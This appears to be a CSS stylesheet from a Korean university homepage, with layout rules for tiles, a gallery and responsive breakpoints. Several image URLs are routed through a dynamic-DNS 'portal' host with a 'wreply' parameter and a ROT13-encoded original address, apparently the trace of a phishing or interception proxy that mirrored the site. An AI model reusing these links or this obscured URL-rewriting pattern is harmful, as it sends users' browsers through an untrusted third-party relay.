.camLife ul li a { position: relative; display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Syvsr_vpb01.cat) no-repeat right bottom; font-size: 1.05rem; color: #222; padding: 1.25rem 1.75rem; height: 10rem; font-weight: 500;}
.camLife ul li:nth-child(2) a { background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Syvsr_vpb02.cat);}
.camLife ul li:nth-child(3) a { background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Syvsr_vpb03.cat);}
.camLife ul li:nth-child(4) a { background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Syvsr_vpb04.cat);}
.camLife ul li a i { font-size: 2rem; color: #000; position: absolute; right: 1rem; top: 1rem; transition: all 0.2s; opacity: 0;}
.camLife ul li a:hover i, 
.camLife ul li a:focus i { opacity: 1;}

.sMovie { width: 18rem; height: 12.3rem; margin-top: 0.6rem;}
.sMovie a { display: block; position: relative; overflow: hidden; height: 100%; background: rgba(0,0,0,0.52); text-align: center;}
.sMovie a .txt { position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); text-align: center; color: #fff; font-size: 1.5rem; width: 100%;}
.sMovie a .txt i { display: block; margin: 0 auto; width: 2.5rem; height: 2.9rem; line-height: 2.9rem; font-size: 1rem; margin-bottom: 1rem; position: relative;}
.sMovie a .txt i::after { content: ''; width: 2.5rem; height: 2.9rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Svzntrf%2Sjro%2SFPAH%2Sznva%2Szbivr_vpbOt.cat) no-repeat center / contain; display: block; position: absolute; top: 0; left: 0; transition: all 0.2s;}
.sMovie a:hover i::after,
.sMovie a:focus i::after { animation: c1 5s infinite;}

@keyframes c1 {
    0%{transform: rotate(0);}
    100%{transform: rotate(360deg);}
    
  }

/* 영문 갤러리 */
.gallery { max-width: 90rem; margin: 0 auto; position: relative; padding:3.5rem 0 3.75rem; border-bottom: 1px solid #000;}
.gallery::before {content: ''; display: block; width: 1px; height: 100%; background: #000; position: absolute; top: 0; left: -3rem;}
.gallery::after {content: ''; display: block; width: 1px; height: 100%; background: #000; position: absolute; top: 0; right: -3rem;}
.gallery .titWrap { margin-bottom: 1.9rem;}
.gallery .control { position: absolute; right: 0; top: 0;}
.gallery .control .page { display: inline-block; vertical-align: middle; margin: 0 1.1rem 0 1.8rem; font-size: 1rem; font-weight: 600; color: #555; width: 3rem;}
.gallery .control .page strong { color: #000; font-weight: 300; margin-right: 1.8rem; position: relative;}
.gallery .control .page strong::before { content: ''; display: block; width: 1.45rem; height: 1px; background-color: #e5e5e5; position: absolute; top: 50%; right: -1.7rem;}
.gallery .control .page strong::after { content: ''; display: block; width: 0.85rem; height: 1px; background-color: #000; position: absolute; bottom: -0.1rem; left: calc(50% - 0.425rem);}
.gallery .control .play {display: none;}
.gallery .control a { display: inline-block; width: 3rem; height: 3rem; line-height: 3rem; text-align: center; border: 1px solid #d9d9d9; border-radius: 50%; color: #000; font-size: 1.5rem; vertical-align: middle; transition: all 0.3s;}
.gallery .control a.play,
.gallery .control a.stop { border: none; position: relative; margin-right: 1.1rem;}
.gallery .control a.play::before,
.gallery .control a.stop::before { content: ''; display: block; width: 2.5rem; height: 2.9rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Spbzzba%2Svzntrf%2Sznva%2Stny_cynl.cat) no-repeat center / contain; position: absolute; left: 50%; top: 50%; transform: translate(-50%,-50%); z-index: -1; transform-origin: center; transition: all 0.3s;}  
.gallery .slider { position: relative; z-index: 1;}
.gallery .img {font-size: 0; background: rgba(0,0,0,0.2); overflow: hidden; position: relative;}
.gallery .img img{position:absolute;top:0;left:0;width:100%;height:100%;object-fit:cover; transition: all 0.2s;} 
.gallery .item .main_img { display: block; width: 49.4%; float: left; border-bottom: 1px solid #000;}
.gallery .item .main_img .img { width: 100%; height: 28.5rem; overflow: hidden;}
.gallery .item::after { content: ''; display: block; clear: both;}
.gallery .item .main_img .tit{ color:#0043b2; font-size:1.4rem; font-weight: 600; margin-top: 2.25rem;overflow: hidden; text-overflow: ellipsis; white-space: nowrap;}
.gallery .item .main_img .date {color:#707070; font-weight: 300; margin:1rem 0 1.9rem;}
.gallery .item .right { width: 49.2%; float: right;}
.gallery .item .right .sub_img { width: 48.5%; float: left; padding-bottom: 1.3rem; border-bottom: 1px solid #000;}
.gallery .item .right .sub_img:nth-child(2n) { margin-left: 2.8%;} 
.gallery .item .right .sub_img:nth-child(n+3) { margin-top: 1.4rem; border-bottom: 0; padding-bottom: 0;} 
.gallery .item .right .sub_img .img {width: 100%; height: 14.25rem; overflow: hidden;}
.gallery .item .right .sub_img span { font-size: 0.9rem; color: #707070; margin-top: 0.8rem; display: inline-block;} 
.gallery .item .right .sub_img span em { position: relative; display: inline-block; color: #0460d9; padding-right: 0.8rem; margin-right: 0.4rem; font-weight: 500;}
.gallery .item .right .sub_img span em::before { content: ''; display: block; width: 5px; height: 5px; border-radius: 50%; background: #d6d6d6; position: absolute; right: 0; top: calc(50% - 2.5px);}
.gallery .item .right .sub_img .tit { font-size: 1rem; color: #222; font-weight: 600; margin: 0.6rem 0 0.5rem; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;}
.gallery .item .right .sub_img .date { color: #707070; font-weight: 300;} 
.g_link02 {padding: 2.3rem 1.85rem;  width: 49.2%; bottom: 0; left: 0; position: absolute; z-index: 2;}
.g_link02 ul{display: flex; width: calc(100% + 1.6rem); margin: 0 -0.8rem;}
.g_link02 ul li{ margin: 0 0.8rem; flex: 1; display: flex; align-items: center; justify-content: center; height: 4.45rem; border: 1px solid #000; font-size: 1.1rem; font-weight: 500; transition: 0.15s; cursor: pointer;}
.eng .g_link02 ul li {display: block; }
.eng .g_link02 ul li a{ display: flex; align-items: center; justify-content: center; height: 100%;}
.g_link02 ul li i{font-size: 1.5rem; margin-right: 0.25rem; font-weight: 400;} 
.g_link02 ul li img{filter: brightness(0); display: block; margin: 0.25rem 0.25rem 0 0; transition: 0.15s;}
.g_link02 ul li:hover,
.g_link02.on ul li:first-child{background: #262626; color: #fff;}
.g_link02 ul li:hover img,
.g_link02.on ul li:first-child img{filter: brightness(1);}
/* 영문 갤러리 :active */
.gallery .item a:hover .img img,
.gallery .item a:focus .img img { transform: scale(1.1);} 
.gallery .control a:hover,
.gallery .control a:focus { border-color: #000;}
.gallery .control a:hover.play::before,
.gallery .control a:focus.play::before,
.gallery .control a:hover.stop::before,
.gallery .control a:focus.stop::before { transform: translate(-50%,-50%) rotate(90deg);}


@media screen and (max-width:1920px) {
  
    .photo .ctrl1{ width: 36%;}
    .photo .slider{margin: 0 -27rem;}
    .photo .photoTag { left: 1rem; height: auto;}
    .photo .photoTag a { padding: 1rem 1.4rem 1.2rem; }

    .visual .video video{width: 100%;height: 150%; }
 
} 

@media (max-width: 1850px) {
 
    /* section01 */
    .section01{ height: auto; width: 100%; position: relative; transform: translateY(4px); }
    .visual .slider .item img{height: auto;width: 175%; position: relative; left: 50%; transform: translateX(-50%); font-size: 0; }
    .visual .video video{width: 100%;height: 100%; top: 0;}
    .visual .control{ left: 2rem;  }

    /* section02 */
    .link01 { width: 100%;} 
    .link01 ul{ width: 100%;padding: 0 1.5rem;}
    .link01 ul li{ width: 25%; font-size: 1.1rem; } 
    .link01 .btn_more2 { left: auto; right: 1rem; top: 1.5rem;  } 

    /* section03 */
    .notice{ padding: 2.5rem 1rem 0;} 
    .noticeWrap::after { display: none;}
    .notice::before,
    .notice::after{display: none;} 
    .notice01 .img{ height: 16.8rem; }
    .notice02 li a .img { height: 7.3rem; }
    .notice01 .tit {display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 2; overflow: hidden; height: 3.5rem; font-size: 1.2rem; line-height: 1.7rem; margin: 0.65rem 0; white-space: wrap; }
    .notice01 .txt {display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 2; overflow: hidden; height: 2.7rem; font-size: 0.8rem; line-height: 1.4rem; white-space: wrap; }
    .notice02 li a > p.tit {display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 2; overflow: hidden; height: 2.7rem; font-size: 0.9rem; line-height: 1.4rem;white-space: wrap; }
    .notice02 li:nth-child(n+7) a { border-bottom: 1px solid #000;}
    .link02 { padding: 2.3rem 0 0; }
    .link02 ul{ margin: 0 -0.4rem; width: calc(100% + 0.8rem);}
    .link02 ul li { margin: 0 0.4rem; height: 6.5rem; flex-direction: column;}

    /* section04 */
    .section04 .container { padding: 0 1rem;}
    .sche .list{ width: 100%; }
    .sche .list .item a{ width: 95%; }

	/* 영문 갤러리 */
.gallery { padding:3.5rem 1rem 3.75rem; }



}

@media (max-width: 1640px) {


    /* section01 */
    .visual .slider .item .txtWrap .tit{font-size: 3.5rem; }
    .visual .slider .item .txtWrap .txt{font-size: 1.5rem;}

    /* section02 */
    .link01 { height: 9.3rem; }
    .link01 .tit{ font-size: 1.4rem; } 
    .link01 .txt{font-size: 0.8rem; }
    .link01 ul{ width: 100%;padding: 0 1.5rem;}
    .link01 ul li{ width: 25%; font-size: 0.9rem; } 
    .link01 .btn_more2 { width: 3rem; font-size: 0.8rem; top: 0;} 
    .link02 ul li{ font-size: 1rem; }

    /* section03 */
    .notice01 .img em {width: 6rem; line-height: 2rem; font-size: 0.9rem; }

    /* section04 */
    .latest .list_box ul li a .tit{ font-size: 0.9rem; } 

    .sche .list .item a .date{font-size: 0.9rem; }
    .sche .list .item a .tit{font-size: 1rem; }

    /* section06 */ 
    .photo{ padding: 4.8rem 0 1rem;} 
    .photo .slider .item.slick-current .txtWrap .tit{font-size: 1.5rem;top: 0.8rem;position: relative;}  
    .photo .slider .item.slick-current .txtWrap .tit br { display: none;} 
    .photo .slider .item .txtWrap .tit{ font-size: 1rem; }
    .photo .slider .item .txtWrap .txt{ font-size: 0.9rem; }
    .photo .slider .item.slick-current .txtWrap .txt{font-size: 1.5rem;}
    .photo .slider .item.slick-current .txtWrap .txt em{font-size: 1.7rem; }

	.gallery { padding-top: 2.5rem;}

    /* 캠퍼스라이프 */
    .camLife {width: calc(100% - 15.55rem);}
    .camLife ul li a { background-size: 5rem; font-size: 0.95rem; padding: 1rem 2rem 1rem 1rem; }
    .camLife ul li a i {font-size: 1.3rem;right: 0.6rem;top: 0.9rem;}

    .sMovie {width: 14rem; } 
    .sMovie a .txt { font-size: 1.2rem;}

}

@media (max-width: 1350px) {
    /* section06 */ 
    .photo .photoTag a { padding: 1rem 1.4rem 1.2rem; }
    .photo .ctrl1{ width: 40%;}

}
@media screen and (min-height: 741px) and (max-height: 900px) {
    .section01 {height: 100vh;}
}
@media (max-width: 1240px) {
    .titWrap h2 { font-size: 1.8rem; display: inline-block; } 
    .titWrap > span { font-size: 0.9rem;}
    .latest .titWrap > span,
    .sche .titWrap > span { display: inline-block; margin-left: 1rem; }

 
    /* section01 */
    .visual .slider .item .txtWrap .tit{font-size: 2rem;  }
    .visual .slider .item .txtWrap .txt{font-size: 1.2rem;}
    .moreScroll { bottom: 1rem;}
    .moreScroll p{ font-size: 0.9rem; }

    /* section03 */
    .notice .titWrap{ margin-bottom: 1.5rem;} 

    /* section04 */
    .section04 .container{ flex-wrap: wrap}  
	.eng .section04 .container{ margin-top: 2rem;}  
    .latest{ width: 100%;} 
    .latest .list_box { margin-top: 1.8rem;}
    .latest .list_box ul{ width: calc(100% + 1.3rem);} 
    .latest .list_box ul li{width: calc(100% / 3); padding: 0 0.65rem; height: 9.25rem; } 
    .latest .list_box ul li:nth-child(1) a::after {width: 100%; left: 0; top: -1rem;}
    .latest .list_box ul li:nth-child(2) a::after { top: -1rem;}
    .latest .list_box ul li:nth-child(3) a::after { width: 100%; top: -1rem;} 
    .latest .list_box ul li:nth-child(4) a::after {width: 100%; left: 0; bottom: -1rem;}
    .latest .list_box ul li:nth-child(5) a::after { bottom: -1rem;}
    .latest .list_box ul li:nth-child(6) a::after { width: 100%; bottom: -1rem;}
	.latest .list_box .no_data::before {top: -1rem;}
    .latest .btn_more {top: 2.3rem;}

    .sche{ width: 100%; margin-top: 2.25rem;}
    .sche .contWrap::before { left: -1rem;}
    .sche .contWrap { padding: 1rem 0 1.5rem;}
    .sche .titWrap { padding-bottom: 0;}
    .sche .list{width: calc(100% + 1.5rem);}

    /* section05 */
    .slogan { padding-top: 1.8rem; padding-bottom: 4.3rem;}
    .slogan img{ height: 2.5rem;}

    /* section06 */  
    .photo .photoTag { width: auto; top: -3rem;}
    .photo .photoTag span {font-size: 0.8rem;letter-spacing: 0;line-height: 1.1rem;}
    .photo .photoTag a {padding: 0.5rem 1rem 1.2rem;}

	.gallery .control a.play, .gallery .control a.stop { margin-right: 0;}
    .gallery .control .page { margin: 0 0.3rem 0 0.6rem; }
    .gallery .item .main_img .img { height: 28rem; }
    .gallery .item .main_img .tit{ font-size: 1.2rem; margin-top: 0.8rem;}
    .gallery .item .main_img .date {font-size: 0.75rem; margin: 0.5rem 0 0.9rem;}
    .gallery .item .right .sub_img .img { height: 12.5rem; } 
    .gallery .item .right .sub_img span { font-size: 0.8rem; }
    .gallery .item .right .sub_img .tit { font-size: 0.9rem;}
    .gallery .item .right .sub_img .date { font-size: 0.75rem;}
    .g_link02 ul{ width: calc(100% + 0.6rem); margin: 0 -0.3rem;}
    .g_link02 ul li { font-size: 0.8rem; margin: 0 0.3rem;}


}

@media (max-width: 1024px){
	.section01 {height: auto;}

    /* section06 */  
    .photo .ctrl1{ width: 45%;}

	.gallery .control a { width: 2.5rem;height: 2.5rem;line-height: 2.5rem; font-size: 1.2rem; }
    .gallery .control a.play::before,
    .gallery .control a.stop::before { width: 2.1rem; height: 2.9rem; }
    
    /* 캠퍼스라이프 */ 
    .camLife ul li a {font-size: 0.85rem;padding: 0.85rem 1.5rem 0.85rem 1rem;}
    .camLife ul li a i { right: 0.35rem;top: 0.6rem;}
 
}


@media (max-width: 860px){

    .titWrap h2 { font-size: 1.1rem; } 
    .titWrap > span { display: none;}
    .latest .titWrap > span, .sche .titWrap > span { display: none;}
    .btn_more { display: flex; position: absolute; top: 0; right: 0;}
    .btn_more > span { display: none;}
    .btn_more i { border: none;}
    .btn_more:hover i { color: #000; background: transparent; transform: rotate(90deg);}

    /* section01 */
    .moreScroll { display: none;}
    .visual .slider .item .txtWrap{ left: 39%; text-align: left; } 
    .visual .slider .item .txtWrap .tit{font-size:1.6rem;  }
    .visual .slider .item .txtWrap .txt{font-size: 1rem;}
    .visual .control{ bottom: 1rem; }
    .visual .control .prev,
    .visual .control .next{font-size: 1.5rem;}
    .visual .control .play,
    .visual .control .stop{max-width: 1.75rem; font-size: 1rem; }
 
    /* section02 */
    .link01 { height: auto; padding: 0.75rem 1rem 0; align-items: flex-start;;}
    .link01 ul { display: none;}
    .link01 .tit {margin-bottom: 0.6rem; font-size: 1.1rem;}
    .link01 .txt{padding-right: 4rem; text-align: left; line-height: 1.8; }
	.eng .link01 .txt{padding-right: 0; }

    /* section03 */  
    .link02 { position: absolute;bottom: -48.5rem;left: 0;width: 100%;}
    .link02 ul li { margin: 0 0.4rem; height: 4.5rem; flex-direction: column; font-size: 0.8rem;}
    .link02 ul li i{ margin-right: 0; margin-bottom: 0.2rem;} 

    .noticeWrap{flex-wrap: wrap;padding-bottom: 4rem;}
    .noticeBox { width: 100%;}
    .noticeBox + .noticeBox { margin-left: 0;}
    .notice01 .img{ height: 14.25rem; } 
    .notice01 .img em {width: 5rem;line-height: 1.8rem;font-size: 0.8rem;}
    .notice02 li a .img { height: 14.25rem; }
    .notice01 > li{padding-bottom: 0.75rem; }
    .notice01 > li ~ li{padding-top: 1rem;}
    .notice01 .tit { -webkit-line-clamp: 1; height:auto; font-size: 0.9rem; margin: 0.3rem 0 0;  }
    .notice01 .txt { -webkit-line-clamp: 1; height: auto; font-size: 0.75rem; }
    .notice01 .date { font-size: 0.7rem;}
    .notice02 { margin-top: 1rem;}
    .notice02 li:nth-child(n+5) {  display: none;}
    .notice02 li a > p.tit { -webkit-line-clamp: 1; height: auto; font-size: 0.9rem; }
    .notice02 li a > span { font-size: 0.75rem; }
    .notice02 li:nth-child(n+7) a { border-bottom: 1px solid #000;}
    .notice02 li a > p.date { font-size: 0.75rem; margin-bottom: 0.8rem;}
  
    /* section06 */    
    .sche .control .date { font-size: 1rem; }
    .sche .list{ height: auto;}
    .sche .list .item{ margin-top: 0.4rem;}
    .sche .list .item a { padding: 1rem 0.6rem; height: auto;}
    .sche .list .item a .date{font-size: 0.8rem; }
    .sche .list .item a .tit{font-size: 0.9rem; height: auto;overflow: hidden;white-space: nowrap;text-overflow: ellipsis;}

    /* section06 */  
    .photo .ctrl1{ width: 48%;} 
    .photo .slider .item.slick-current .txtWrap{ padding: 0 0 1rem 1rem; }  
    .photo .slider .item.slick-current .txtWrap .tit{font-size: 1.2rem;top: 0.8rem;position: relative;}   
    .photo .slider .item.slick-current .txtWrap .txt{font-size: 1.3rem;}
    .photo .slider .item.slick-current .txtWrap .txt em{font-size: 1.5rem; }

	.gallery { padding-bottom: 1rem; padding-top: 1.2rem;}
    .gallery .titWrap {margin-bottom: 1.1rem;}
    .gallery .control { top: -5px;}
    .gallery .control a {width: 2rem;height: 2rem;line-height: 2rem;font-size: 1rem;}
    .gallery .control a.play::before,
    .gallery .control a.stop::before { width: 1.7rem; }
    .gallery .control .page {font-size: 0.85rem;}
    .gallery .item .main_img { width: 100%;}
    .gallery .item .main_img .img { height: 16rem;}
    .gallery .item .main_img .tit{font-size: 0.95rem;margin-top: 0.6rem;}
    .gallery .item .main_img .date {margin: 0.4rem 0 0.7rem;}
    .gallery .item .right { width: 100%; margin-top: 1rem;}
    .gallery .item .right .sub_img { padding-bottom: 0.7rem;}
    .gallery .item .right .sub_img span {font-size: 0.75rem;margin-top: 0.5rem;}
    .gallery .item .right .sub_img .tit {font-size: 0.9rem;margin: 0.3rem 0 0.5rem;}
    .gallery .item .right .sub_img:nth-child(n+3) { margin-top: 1rem;}
    .g_link02 { width: 100%; position: relative; padding: 0; margin-top: 1.5rem;}

    /* section04 */
    .eng .section04 .container{ margin-top: 1.2rem;}  
    
    /* 캠퍼스라이프 */
    .camLife {width: 100%;} 
    .camLife h2 {font-size: 1.1rem; }
    .camLife ul { margin-top: 0.5rem;}
    .camLife ul li a { background-size:4rem; height: 8.2rem;}

    .sMovie { width: 100%; margin-top: 1rem;}
} 
@media (max-width: 650px){

    /* section03 */  
    .notice{padding: 1rem 1rem 0;} 
    .notice .titWrap{margin-bottom: 0.8rem;} 
    .notice02 li { width: 100%; }
    .notice02 li:nth-child(2n) { margin-left: 0;}
    .notice02 li:nth-child(n+3) {  display: none;}
    .notice02 li:nth-child(n+2) { margin-top: 1rem;}  
    .notice02 li a > p.tit { margin: 0.1rem 0 0.2rem; } 

    .link02 { bottom: -46.5rem; }

    /* section04 */ 
    .latest .list_box ul li{width: calc(100% / 2); padding: 0 0.65rem; height: 9.25rem; } 
    .latest .list_box ul li:nth-child(n+5) { display: none;}
    .latest .list_box ul li:nth-child(3) a::after { bottom: -1rem; top: auto;}
    .sche .list{ width: 100%;}
    .sche .list .item a{ width: 100%; }
    /* section06 */ 
    .photo{ padding: 4.8rem 0 1rem;} 
    .photo .ctrl1{width: 90%;} 
    .photo .slick-slide { height: auto; }
    .photo .slider{margin: 0; width: 100%;} 
    .photo .slider .item.slick-current .txtWrap .tit{font-size: 0.95rem;top: 1rem;} 
    .photo .slider .item.slick-current .txtWrap .txt{font-size: 1.2rem;}
    .photo .slider .item.slick-current .txtWrap .txt em{font-size: 1.2rem; }
    .photo .slider .item .img img{display: block;width: 100%;height: auto;} 
    
	.gallery .item .main_img .img {height: 13rem;}
    .gallery .item .right .sub_img .img {height: 11rem;} 



}
@media (max-width: 500px){
    /* section01 */ 
    .visual .slider .item .txtWrap .tit{font-size:1.1rem;  }
    .visual .slider .item .txtWrap .txt{font-size: 0.8rem;}
         
    /* section02 */
    .link01 .tit{font-size: 0.9rem;} 
    .link01 .txt { font-size: 0.7rem;}
    /* section03 */
    .link02 { bottom: -46rem; }
    
    /* section04 */
    .section04 .container{display: flex;justify-content: space-between;margin-top: 2.5rem;} 
    .latest .titTab ul { display: block; padding-right: 1.5rem;margin-top: 0.5rem;} 
    .latest .titTab ul li { display: inline-block; margin-top: 0.5rem;} 
    .latest .tabWrap{height: 10.5rem;}
    .latest .list_box {margin-top: 0.7rem;}
    .latest .list_box ul { width: 100%; align-content: flex-start; position: relative; margin: 0;}
    .latest .list_box ul::before,
    .latest .list_box ul::after { content: ''; display: block; width: 100%; height: 1px; background-color: #000; position: absolute; top: 0; left: 0;}
    .latest .list_box ul::after { top: auto; bottom: -1rem;}
    .latest .list_box ul li{width: 100%;padding: 0;height: auto;} 
    .latest .list_box ul li:nth-child(n+4) { display: none;}
    .latest .list_box ul li:nth-child(1) a::after,
    .latest .list_box ul li:nth-child(2) a::after,
    .latest .list_box ul li:nth-child(3) a::after { display: none;}
    .latest .list_box ul li a > em { display: none;}
    .latest .list_box ul li a .tit{ -webkit-line-clamp: 1; line-height: 1.5rem; height: 1.5rem; padding-right: 1.5rem; margin-bottom: 0.3rem;} 
	.latest .list_box .no_data::before {top: 0rem;}
    .latest .btn_more {top: 1.8rem;}

    .sche .contWrap { margin-top: 0.7rem; }

	.gallery .item .right .sub_img {width: 100%;}
    .gallery .item .right .sub_img:nth-child(n+3) { display: none;}
    .gallery .item .right .sub_img:nth-child(2n) { margin-left: 0; margin-top: 1rem; border-bottom: none;} 
    .g_link02 { margin-top: 0;}

    /* 캠퍼스라이프 */
    .camLife ul { flex-wrap: wrap;}
    .camLife ul li { width: 50%;}
    .camLife ul li:nth-child(3) { border-left: none;}
    .camLife ul li:nth-child(n+3) { border-top: 1px solid #000;}


}

@media (max-width: 380px){
    /* section04 */
    .latest .titTab ul li ~ li{margin-left: 0.5rem;}

    .gallery .titWrap {margin-bottom: 0.5rem;}
    .gallery .control { position: relative; top: auto; text-align: right; margin-top: 0.3rem;}
    .g_link02 ul li { flex-direction: column;}
    .eng .g_link02 ul li a{ flex-direction: column;}
    .g_link02 ul li i{ margin-right: 0; margin-top: 0.2rem;} 

    /* section6 */
    .eng .photo .slider .item.slick-current .txtWrap .txt{ -webkit-line-clamp: 3; height: 3.7rem; }

	.link02 ul li a {flex-direction: column;}


}